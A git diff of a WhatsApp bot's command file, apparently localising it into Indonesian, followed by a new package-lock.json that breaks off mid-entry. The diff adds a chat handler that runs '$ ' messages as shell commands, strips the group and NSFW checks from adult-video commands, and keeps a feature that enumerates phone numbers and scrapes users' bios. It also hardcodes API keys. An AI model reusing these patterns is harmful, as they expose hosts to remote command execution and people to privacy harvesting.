replygcxeon(`Enter the Google Drive link`) - XeonStickWait() + if (!args[0]) return replygcxeon(`Silakan Masukan Link gdrive Anda`) + reply(mess.wait) const fg = require('api-dylux') try { let res = await fg.GDriveDl(args[0]) await replygcxeon(` -โ‰ก *Google Drive DL* +โ‰ก *Google Drive Download* โ–ข *Nama:* ${res.fileName} โ–ข *Size:* ${res.fileSize} โ–ข *Type:* ${res.mimetype}`) XeonBotInc.sendMessage(m.chat, { document: { url: res.downloadUrl }, fileName: res.fileName, mimetype: res.mimetype }, { quoted: m }) } catch { - replygcxeon('Error: Check link or try another link') + replygcxeon('Error: Silakan Cek Link gdrive Anda ๐Ÿ—ฟ') } } break case 'invite': { - if (!m.isGroup) return XeonStickGroup() + if (!m.isGroup) return reply(mess.only.group) if (!isBotAdmins) return XeonStickBotAdmin() -if (!text) return replygcxeon(`Enter the number you want to invite to the group\n\nExample :\n*${prefix + command}* 916909137213`) +if (!text) return replygcxeon(`Silakan Masukkan Nomer yang Ingin Anda Invite\n\nContoh :\n*${prefix + command}* 6285892928715`) if (text.includes('+')) return replygcxeon(`Enter the number together without *+*`) if (isNaN(text)) return replygcxeon(`Enter only the numbers plus your country code without spaces`) let group = m.chat @@ -6358,35 +17576,32 @@ let link = 'https://chat.whatsapp.com/' + await XeonBotInc.groupInviteCode(group break case "xnxxdl": { if (!isPrem) return replyprem(mess.premium) - if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) if (!text) return replygcxeon(`Enter Url`) if (!text.includes('xnxx.com')) return replygcxeon(`Enter an xnxx link`) - XeonStickWait() + reply(mess.wait) const fg = require('api-dylux') let xn = await fg.xnxxdl(text) XeonBotInc.sendMessage(m.chat, { caption: `โ‰ก *XNXX DL* -โ–ข *๐Ÿ“ŒTitle*: ${xn.result.title} -โ–ข *โŒšDuration:* ${xn.result.duration} +โ–ข *๐Ÿ“Œ Judul*: ${xn.result.title} +โ–ข *โŒšDuration* ${xn.result.duration} โ–ข *๐ŸŽž๏ธQuality:* ${xn.result.quality}`, video: {url: xn.result.files.high} }, { quoted: m }) } break case 'xnxxsearch': { if (!isPrem) return replyprem(mess.premium) - if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) if (!text) return replygcxeon(`Enter Query`) - XeonStickWait() + reply(mess.wait) const fg = require('api-dylux') let res = await fg.xnxxSearch(text) let ff = res.result.map((v, i) => `${i + 1}โ”ƒ *Title* : ${v.title}\n*Link:* ${v.link}\n`).join('\n') if (res.status) replygcxeon(ff) } break + case 'pin': case 'pinterest': { if (!text) return replygcxeon(`Enter Query`) -XeonStickWait() +reply(mess.wait) let { pinterest } = require('./lib/scraper') anutrest = await pinterest(text) result = anutrest[Math.floor(Math.random() * anutrest.length)] @@ -6408,9 +17623,9 @@ const genshin = require("genshin-api") a = text.toLowerCase(); const anime = await genshin.Characters(text) let txt = "" -txt += `๐ŸŽ€ *Name:* ${anime.name}\n` -txt += `๐ŸŽ–๏ธ *Title:* ${anime.title}\n` -txt += `๐Ÿ’  *Vision:* ${anime.vision}\n` +txt += `๐ŸŽ€ *Nama:* ${anime.name}\n` +txt += `๐ŸŽ–๏ธ *Judul:* ${anime.title}\n` +txt += `๐Ÿ’  *Versi:* ${anime.vision}\n` txt += `๐Ÿน *Weapon:* ${anime.weapon}\n` txt += `๐Ÿ’ฎ *Gender:* ${anime.gender}\n` txt += `๐ŸŒ *Nation:* ${anime.nation}\n` @@ -6462,9 +17677,9 @@ encmedia = await XeonBotInc.sendImageAsSticker(from, wifegerakx, m, { packname: } break case 'anime': { -if (!text) return replygcxeon(`Which anime are you lookin for?`) +if (!text) return replygcxeon(`Anime Apa Yang Anda Cari?`) const malScraper = require('mal-scraper') -XeonStickWait() +reply(mess.wait) const anime = await malScraper.getInfoFromName(text).catch(() => null) if (!anime) return replygcxeon(`Could not find`) let animetxt = ` @@ -6482,12 +17697,12 @@ let animetxt = ` โ™ฆ๏ธ *Trailer: ${anime.trailer}* ๐ŸŒ *URL: ${anime.url}* โ„ *Description:* ${anime.synopsis}*` - await XeonBotInc.sendMessage(m.chat,{image:{url:anime.picture}, caption:animetxt},{quoted:m}) - } - break - case 'imdb': +await XeonBotInc.sendMessage(m.chat,{image:{url:anime.picture}, caption:animetxt},{quoted:m}) +} +break +case 'imdb': if (!text) return replygcxeon(`_Name a Series or movie`) -XeonStickWait() +reply(mess.wait) let fids = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${text}&plot=full`) let imdbt = "" console.log(fids.data) @@ -6510,41 +17725,23 @@ XeonStickWait() imdbt += "๐ŸŒŸimdbRating : " + fids.data.imdbRating + "\n" imdbt += "โœ…imdbVotes : " + fids.data.imdbVotes + "" XeonBotInc.sendMessage(m.chat, { - image: { - url: fids.data.Poster, - }, - caption: imdbt, +image: { +url: fids.data.Poster, +}, +caption: imdbt, }, { - quoted: m, +quoted: m, }) break - case 'weather':{ -if (!text) return replygcxeon('What location?') - let wdata = await axios.get( - `https://api.openweathermap.org/data/2.5/weather?q=${text}&units=metric&appid=060a6bcfa19809c2cd4d97a212b19273&language=en` - ); - let textw = "" - textw += `*๐Ÿ—บ๏ธWeather of ${text}*\n\n` - textw += `*Weather:-* ${wdata.data.weather[0].main}\n` - textw += `*Description:-* ${wdata.data.weather[0].description}\n` - textw += `*Avg Temp:-* ${wdata.data.main.temp}\n` - textw += `*Feels Like:-* ${wdata.data.main.feels_like}\n` - textw += `*Pressure:-* ${wdata.data.main.pressure}\n` - textw += `*Humidity:-* ${wdata.data.main.humidity}\n` - textw += `*Humidity:-* ${wdata.data.wind.speed}\n` - textw += `*Latitude:-* ${wdata.data.coord.lat}\n` - textw += `*Longitude:-* ${wdata.data.coord.lon}\n` - textw += `*Country:-* ${wdata.data.sys.country}\n` - - XeonBotInc.sendMessage( - m.chat, { - text: textw, - }, { - quoted: m, - } - ) - } - break +case 'cuaca': +case 'weather': { + if (!text) return replygcxeon('What location?'); + let data = await fetchJson(`https://kiicodeofficial.my.id/api/others/cuaca?kota=${text}&apikey=Dzsyacans`); + let textw = (`ใ€Œ ๐Ÿ“ ใ€Nama Kota: ${data.data.Nama}\nใ€Œ ๐ŸŒก๏ธ ใ€Temperatur: ${data.data.Suhu}\nใ€Œ ๐ŸŒฌ๏ธ ใ€Angin: ${data.data.Angin}\nใ€Œ ๐ŸŒค๏ธ ใ€ Weather: ${data.data.Keterangan}`) + reply(`${textw}`); +} +break; + case 'wanumber': case 'searchno': case 'searchnumber':{ if (!text) return replygcxeon(`Provide Number with last number x\n\nExample: ${prefix + command} 91690913721x`) var inputnumber = text.split(" ")[0] @@ -6575,29 +17772,29 @@ var inputnumber = text.split(" ")[0] var dom4 = nu[Math.floor(Math.random() * nu.length)] var random21 if (random_length == 1) { - random21 = `${status1}` +random21 = `${status1}` } else if (random_length == 2) { - random21 = `${status1}${status2}` +random21 = `${status1}${status2}` } else if (random_length == 3) { - random21 = `${status1}${status2}${status3}` +random21 = `${status1}${status2}${status3}` } else if (random_length == 4) { - random21 = `${status1}${status2}${status3}${dom4}` +random21 = `${status1}${status2}${status3}${dom4}` } var anu = await XeonBotInc.onWhatsApp(`${number0}${i}${number1}@s.whatsapp.net`) var anuu = anu.length !== 0 ? anu : false try { - try { - var anu1 = await XeonBotInc.fetchStatus(anu[0].jid) - } catch { - var anu1 = '401' - } - if (anu1 == '401' || anu1.status.length == 0) { - nobio += `wa.me/${anu[0].jid.split("@")[0]}\n` - } else { - text66 += `๐Ÿช€ *Number:* wa.me/${anu[0].jid.split("@")[0]}\n ๐ŸŽ—๏ธ*Bio :* ${anu1.status}\n๐Ÿง*Last update :* ${moment(anu1.setAt).tz('Asia/Kolkata').format('HH:mm:ss DD/MM/YYYY')}\n\n` - } +try { +var anu1 = await XeonBotInc.fetchStatus(anu[0].jid) +} catch { +var anu1 = '401' +} +if (anu1 == '401' || anu1.status.length == 0) { +nobio += `wa.me/${anu[0].jid.split("@")[0]}\n` +} else { +text66 += `๐Ÿช€ *Number:* wa.me/${anu[0].jid.split("@")[0]}\n ๐ŸŽ—๏ธ*Bio :* ${anu1.status}\n๐Ÿง*Last update :* ${moment(anu1.setAt).tz('Asia/Kolkata').format('HH:mm:ss DD/MM/YYYY')}\n\n` +} } catch { - nowhatsapp += `${number0}${i}${number1}\n` +nowhatsapp += `${number0}${i}${number1}\n` } } replygcxeon(`${text66}${nobio}${nowhatsapp}`) @@ -6693,6 +17890,19 @@ m.reply(e) } } +if (budy.startsWith('$ ')) { + if (!XeonTheCreator) return; + try { + exec(budy.slice(2), (err, stdout) => { + if (err) return reply(`${err}`); + if (stdout) return reply(stdout); + }); + } catch (e) { + reply(e); + } +} + + if (budy.startsWith('vv')) { if (!XeonTheCreator) return try { @@ -6742,7 +17952,7 @@ XeonBotInc.copyNForward(m.chat, msgs[budy.toLowerCase()], true) } catch (err) { console.log(util.format(err)) let e = String(err) -XeonBotInc.sendMessage("916909137213@s.whatsapp.net", { text: "Hello developer, there seems to be an error, please fix it " + util.format(e), +XeonBotInc.sendMessage("6285892928715@s.whatsapp.net", { text: "Hello developer, there seems to be an error, please fix it " + util.format(e), contextInfo:{ forwardingScore: 9999999, isForwarded: true diff --git a/config.json b/config.json new file mode 100644 index 000000000..c3763f2c1 --- /dev/null +++ b/config.json @@ -0,0 +1,4 @@ +{ + "auto_welcomeMsg": true, + "auto_leaveMsg": true +} diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 000000000..74a4186e7 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,11892 @@ +{ + "name": "Cheems-Bot-MD", + "version": "8.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "Cheems-Bot-MD", + "version": "8.0.0", + "license": "ISC", + "dependencies": { + "@adiwajshing/keyed-db": "^0.2.4", + "@bochilteam/scraper": "4.0.22-alpha.0", + "@saipulanuar/jadianime-ts": "^2.0.0", + "@whiskeysockets/baileys": "^6.4.0", + "anime-wallpaper": "^1.0.2", + "api-dylux": "^1.4.4", + "awesome-phonenumber": "^2.64.0", + "axios": "^0.24.0", + "chalk": "^4.1.2", + "cheerio": "^1.0.0-rc.10", + "child_process": "^1.0.2", + "cookie": "^0.5.0", + "crypto": "^1.0.1", + "emoji-api": "^1.0.2", + "fake-useragent": "^1.0.1", + "figlet": "^1.5.0", + "file-type": "^16.5.3", + "fluent-ffmpeg": "^2.1.2", + "fs": "0.0.1-security", + "fs-extra": "^10.0.0", + "g-i-s": "^2.1.6", + "genshin-api": "^2.1.0", + "google-it": "^1.6.2", + "google-tts-api": "^2.0.2", + "got": "^11.8.3", + "human-readable": "^0.2.1", + "javascript-obfuscator": "^4.0.0", + "jimp": "^0.16.1", + "jsdom": "^16.4.0", + "kirbotz-api": "^0.0.2", + "lowdb": "^2.1.0", + "mal-scraper": "^2.11.4", + "mathjs": "^11.3.0", + "miniget": "^4.2.2", + "moment-timezone": "^0.5.34", + "mongoose": "^6.2.1", + "ms": "^2.1.3", + "multistream": "^2.1.0", + "mumaker": "^1.0.0", + "node-cron": "^3.0.0", + "node-fetch": "^2.6.1", + "node-id3": "^0.2.3", + "node-webpmux": "^3.1.0", + "node-youtube-music": "^0.8.3", + "nodemon": "^2.0.20", + "object-query-string": "^1.2.0", + "openai": "^3.2.0", + "os": "^0.1.2", + "parse-ms": "^2.1.0", + "path": "^0.12.7", + "perf_hooks": "0.0.1", + "pino": "^7.0.5", + "pm2": "^5.2.2", + "qrcode": "^1.5.0", + "qrcode-reader": "^1.0.4", + "qrcode-terminal": "^0.12.0", + "qs": "^6.11.0", + "remove.bg": "^1.3.0", + "request": "^2.88.2", + "rimraf": "^3.0.2", + "scrape-primbon": "^1.1.0", + "similarity": "^1.2.1", + "spinnies": "^0.5.1", + "spotifydl-x": "^0.3.0", + "syntax-error": "*", + "util": "^0.12.4", + "yargs": "^17.2.1", + "youtube-yts": "^2.0.0", + "youtubedl-core": "^4.11.7", + "ytdl-core": "^4.11.5" + } + }, + "node_modules/@adiwajshing/keyed-db": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/@adiwajshing/keyed-db/-/keyed-db-0.2.4.tgz", + "integrity": "sha512-yprSnAtj80/VKuDqRcFFLDYltoNV8tChNwFfIgcf6PGD4sjzWIBgs08pRuTqGH5mk5wgL6PBRSsMCZqtZwzFEw==" + }, + "node_modules/@aws-crypto/crc32": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-3.0.0.tgz", + "integrity": "sha512-IzSgsrxUcsrejQbPVilIKy16kAT52EwB6zSaI+M3xxIhKh5+aldEyvI+z6erM7TCLB2BJsFrtHjp6/4/sr+3dA==", + "optional": true, + "dependencies": { + "@aws-crypto/util": "^3.0.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^1.11.1" + } + }, + "node_modules/@aws-crypto/crc32/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "optional": true + }, + "node_modules/@aws-crypto/ie11-detection": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/ie11-detection/-/ie11-detection-3.0.0.tgz", + "integrity": "sha512-341lBBkiY1DfDNKai/wXM3aujNBkXR7tq1URPQDL9wi3AUbI80NR74uF1TXHMm7po1AcnFk8iu2S2IeU/+/A+Q==", + "optional": true, + "dependencies": { + "tslib": "^1.11.1" + } + }, + "node_modules/@aws-crypto/ie11-detection/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "optional": true + }, + "node_modules/@aws-crypto/sha256-browser": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-3.0.0.tgz", + "integrity": "sha512-8VLmW2B+gjFbU5uMeqtQM6Nj0/F1bro80xQXCW6CQBWgosFWXTx77aeOF5CAIAmbOK64SdMBJdNr6J41yP5mvQ==", + "optional": true, + "dependencies": { + "@aws-crypto/ie11-detection": "^3.0.0", + "@aws-crypto/sha256-js": "^3.0.0", + "@aws-crypto/supports-web-crypto": "^3.0.0", + "@aws-crypto/util": "^3.0.0", + "@aws-sdk/types": "^3.222.0", + "@aws-sdk/util-locate-window": "^3.0.0", + "@aws-sdk/util-utf8-browser": "^3.0.0", + "tslib": "^1.11.1" + } + }, + "node_modules/@aws-crypto/sha256-browser/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "optional": true + }, + "node_modules/@aws-crypto/sha256-js": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-3.0.0.tgz", + "integrity": "sha512-PnNN7os0+yd1XvXAy23CFOmTbMaDxgxXtTKHybrJ39Y8kGzBATgBFibWJKH6BhytLI/Zyszs87xCOBNyBig6vQ==", + "optional": true, + "dependencies": { + "@aws-crypto/util": "^3.0.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^1.11.1" + } + }, + "node_modules/@aws-crypto/sha256-js/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "optional": true + }, + "node_modules/@aws-crypto/supports-web-crypto": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-3.0.0.tgz", + "integrity": "sha512-06hBdMwUAb2WFTuGG73LSC0wfPu93xWwo5vL2et9eymgmu3Id5vFAHBbajVWiGhPO37qcsdCap/FqXvJGJWPIg==", + "optional": true, + "dependencies": { + "tslib": "^1.11.1" + } + }, + "node_modules/@aws-crypto/supports-web-crypto/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "optional": true + }, + "node_modules/@aws-crypto/util": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-3.0.0.tgz", + "integrity": "sha512-2OJlpeJpCR48CC8r+uKVChzs9Iungj9wkZrl8Z041DWEWvyIHILYKCPNzJghKsivj+S3mLo6BVc7mBNzdxA46w==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "^3.222.0", + "@aws-sdk/util-utf8-browser": "^3.0.0", + "tslib": "^1.11.1" + } + }, + "node_modules/@aws-crypto/util/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "optional": true + }, + "node_modules/@aws-sdk/client-cognito-identity": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.410.0.tgz", + "integrity": "sha512-J4iPhXswm66Fsk1x0Kly+PWzBizmms4kkkoAU1sk9n08XfWqNBTyf01mx6/t/X+Yh43p2zaeB/XvUwa0jSsWaQ==", + "optional": true, + "dependencies": { + "@aws-crypto/sha256-browser": "3.0.0", + "@aws-crypto/sha256-js": "3.0.0", + "@aws-sdk/client-sts": "3.410.0", + "@aws-sdk/credential-provider-node": "3.410.0", + "@aws-sdk/middleware-host-header": "3.410.0", + "@aws-sdk/middleware-logger": "3.410.0", + "@aws-sdk/middleware-recursion-detection": "3.410.0", + "@aws-sdk/middleware-signing": "3.410.0", + "@aws-sdk/middleware-user-agent": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@aws-sdk/util-endpoints": "3.410.0", + "@aws-sdk/util-user-agent-browser": "3.410.0", + "@aws-sdk/util-user-agent-node": "3.410.0", + "@smithy/config-resolver": "^2.0.7", + "@smithy/fetch-http-handler": "^2.1.2", + "@smithy/hash-node": "^2.0.6", + "@smithy/invalid-dependency": "^2.0.6", + "@smithy/middleware-content-length": "^2.0.8", + "@smithy/middleware-endpoint": "^2.0.6", + "@smithy/middleware-retry": "^2.0.9", + "@smithy/middleware-serde": "^2.0.6", + "@smithy/middleware-stack": "^2.0.0", + "@smithy/node-config-provider": "^2.0.9", + "@smithy/node-http-handler": "^2.1.2", + "@smithy/protocol-http": "^3.0.2", + "@smithy/smithy-client": "^2.1.3", + "@smithy/types": "^2.3.0", + "@smithy/url-parser": "^2.0.6", + "@smithy/util-base64": "^2.0.0", + "@smithy/util-body-length-browser": "^2.0.0", + "@smithy/util-body-length-node": "^2.1.0", + "@smithy/util-defaults-mode-browser": "^2.0.7", + "@smithy/util-defaults-mode-node": "^2.0.9", + "@smithy/util-retry": "^2.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/client-sso": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.410.0.tgz", + "integrity": "sha512-MC9GrgwtlOuSL2WS3DRM3dQ/5y+49KSMMJRH6JiEcU5vE0dX/OtEcX+VfEwpi73x5pSfIjm7xnzjzOFx+sQBIg==", + "optional": true, + "dependencies": { + "@aws-crypto/sha256-browser": "3.0.0", + "@aws-crypto/sha256-js": "3.0.0", + "@aws-sdk/middleware-host-header": "3.410.0", + "@aws-sdk/middleware-logger": "3.410.0", + "@aws-sdk/middleware-recursion-detection": "3.410.0", + "@aws-sdk/middleware-user-agent": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@aws-sdk/util-endpoints": "3.410.0", + "@aws-sdk/util-user-agent-browser": "3.410.0", + "@aws-sdk/util-user-agent-node": "3.410.0", + "@smithy/config-resolver": "^2.0.7", + "@smithy/fetch-http-handler": "^2.1.2", + "@smithy/hash-node": "^2.0.6", + "@smithy/invalid-dependency": "^2.0.6", + "@smithy/middleware-content-length": "^2.0.8", + "@smithy/middleware-endpoint": "^2.0.6", + "@smithy/middleware-retry": "^2.0.9", + "@smithy/middleware-serde": "^2.0.6", + "@smithy/middleware-stack": "^2.0.0", + "@smithy/node-config-provider": "^2.0.9", + "@smithy/node-http-handler": "^2.1.2", + "@smithy/protocol-http": "^3.0.2", + "@smithy/smithy-client": "^2.1.3", + "@smithy/types": "^2.3.0", + "@smithy/url-parser": "^2.0.6", + "@smithy/util-base64": "^2.0.0", + "@smithy/util-body-length-browser": "^2.0.0", + "@smithy/util-body-length-node": "^2.1.0", + "@smithy/util-defaults-mode-browser": "^2.0.7", + "@smithy/util-defaults-mode-node": "^2.0.9", + "@smithy/util-retry": "^2.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/client-sts": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-sts/-/client-sts-3.410.0.tgz", + "integrity": "sha512-e6VMrBJtnTxxUXwDmkADGIvyppmDMFf4+cGGA68tVCUm1cFNlCI6M/67bVSIPN/WVKAAfhEL5O2vVXCM7aatYg==", + "optional": true, + "dependencies": { + "@aws-crypto/sha256-browser": "3.0.0", + "@aws-crypto/sha256-js": "3.0.0", + "@aws-sdk/credential-provider-node": "3.410.0", + "@aws-sdk/middleware-host-header": "3.410.0", + "@aws-sdk/middleware-logger": "3.410.0", + "@aws-sdk/middleware-recursion-detection": "3.410.0", + "@aws-sdk/middleware-sdk-sts": "3.410.0", + "@aws-sdk/middleware-signing": "3.410.0", + "@aws-sdk/middleware-user-agent": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@aws-sdk/util-endpoints": "3.410.0", + "@aws-sdk/util-user-agent-browser": "3.410.0", + "@aws-sdk/util-user-agent-node": "3.410.0", + "@smithy/config-resolver": "^2.0.7", + "@smithy/fetch-http-handler": "^2.1.2", + "@smithy/hash-node": "^2.0.6", + "@smithy/invalid-dependency": "^2.0.6", + "@smithy/middleware-content-length": "^2.0.8", + "@smithy/middleware-endpoint": "^2.0.6", + "@smithy/middleware-retry": "^2.0.9", + "@smithy/middleware-serde": "^2.0.6", + "@smithy/middleware-stack": "^2.0.0", + "@smithy/node-config-provider": "^2.0.9", + "@smithy/node-http-handler": "^2.1.2", + "@smithy/protocol-http": "^3.0.2", + "@smithy/smithy-client": "^2.1.3", + "@smithy/types": "^2.3.0", + "@smithy/url-parser": "^2.0.6", + "@smithy/util-base64": "^2.0.0", + "@smithy/util-body-length-browser": "^2.0.0", + "@smithy/util-body-length-node": "^2.1.0", + "@smithy/util-defaults-mode-browser": "^2.0.7", + "@smithy/util-defaults-mode-node": "^2.0.9", + "@smithy/util-retry": "^2.0.0", + "@smithy/util-utf8": "^2.0.0", + "fast-xml-parser": "4.2.5", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-cognito-identity": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.410.0.tgz", + "integrity": "sha512-2QMvdnwnYsKnwy8O+o9ozKL80VFWI0skXVvKB3DFW4cr9IX5cBCx7xuhI7TXbCqiBxuz5SSiA1s19fVtq0sUmw==", + "optional": true, + "dependencies": { + "@aws-sdk/client-cognito-identity": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-env": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.410.0.tgz", + "integrity": "sha512-c7TB9LbN0PkFOsXI0lcRJnqPNOmc4VBvrHf8jP/BkTDg4YUoKQKOFd4d0SqzODmlZiAyoMQVZTR4ISZo95Zj4Q==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-ini": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.410.0.tgz", + "integrity": "sha512-D8rcr5bRCFD0f42MPQ7K6TWZq5d3pfqrKINL1/bpfkK5BJbvq1BGYmR88UC6CLpTRtZ1LHY2HgYG0fp/2zjjww==", + "optional": true, + "dependencies": { + "@aws-sdk/credential-provider-env": "3.410.0", + "@aws-sdk/credential-provider-process": "3.410.0", + "@aws-sdk/credential-provider-sso": "3.410.0", + "@aws-sdk/credential-provider-web-identity": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@smithy/credential-provider-imds": "^2.0.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/shared-ini-file-loader": "^2.0.6", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-node": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.410.0.tgz", + "integrity": "sha512-0wmVm33T/j1FS7MZ/j+WsPlgSc0YnCXnpbWSov1Mn6R86SHI2b2JhdIPRRE4XbGfyW2QGNUl2CwoZVaqhXeF5g==", + "optional": true, + "dependencies": { + "@aws-sdk/credential-provider-env": "3.410.0", + "@aws-sdk/credential-provider-ini": "3.410.0", + "@aws-sdk/credential-provider-process": "3.410.0", + "@aws-sdk/credential-provider-sso": "3.410.0", + "@aws-sdk/credential-provider-web-identity": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@smithy/credential-provider-imds": "^2.0.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/shared-ini-file-loader": "^2.0.6", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-process": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.410.0.tgz", + "integrity": "sha512-BMju1hlDCDNkkSZpKF5SQ8G0WCLRj6/Jvw9QmudLHJuVwYJXEW1r2AsVMg98OZ3hB9G+MAvHruHZIbMiNmUMXQ==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/shared-ini-file-loader": "^2.0.6", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.410.0.tgz", + "integrity": "sha512-zEaoY/sY+KYTlQUkp9dvveAHf175b8RIt0DsQkDrRPtrg/RBHR00r5rFvz9+nrwsR8546RaBU7h/zzTaQGhmcA==", + "optional": true, + "dependencies": { + "@aws-sdk/client-sso": "3.410.0", + "@aws-sdk/token-providers": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/shared-ini-file-loader": "^2.0.6", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-web-identity": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.410.0.tgz", + "integrity": "sha512-cE0l8LmEHdWbDkdPNgrfdYSgp4/cIVXrjUKI1QCATA729CrHZ/OQjB/maOBOrMHO9YTiggko887NkslVvwVB7w==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/credential-providers": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-providers/-/credential-providers-3.410.0.tgz", + "integrity": "sha512-QcunzQRNi9dJdAGdduST7itRW+QhDrb9zZHn+HhLKUoVwLrqk1iuH2R9SoEdZg8eV5jR04yoOPdjj1jzdIkFXQ==", + "optional": true, + "dependencies": { + "@aws-sdk/client-cognito-identity": "3.410.0", + "@aws-sdk/client-sso": "3.410.0", + "@aws-sdk/client-sts": "3.410.0", + "@aws-sdk/credential-provider-cognito-identity": "3.410.0", + "@aws-sdk/credential-provider-env": "3.410.0", + "@aws-sdk/credential-provider-ini": "3.410.0", + "@aws-sdk/credential-provider-node": "3.410.0", + "@aws-sdk/credential-provider-process": "3.410.0", + "@aws-sdk/credential-provider-sso": "3.410.0", + "@aws-sdk/credential-provider-web-identity": "3.410.0", + "@aws-sdk/types": "3.410.0", + 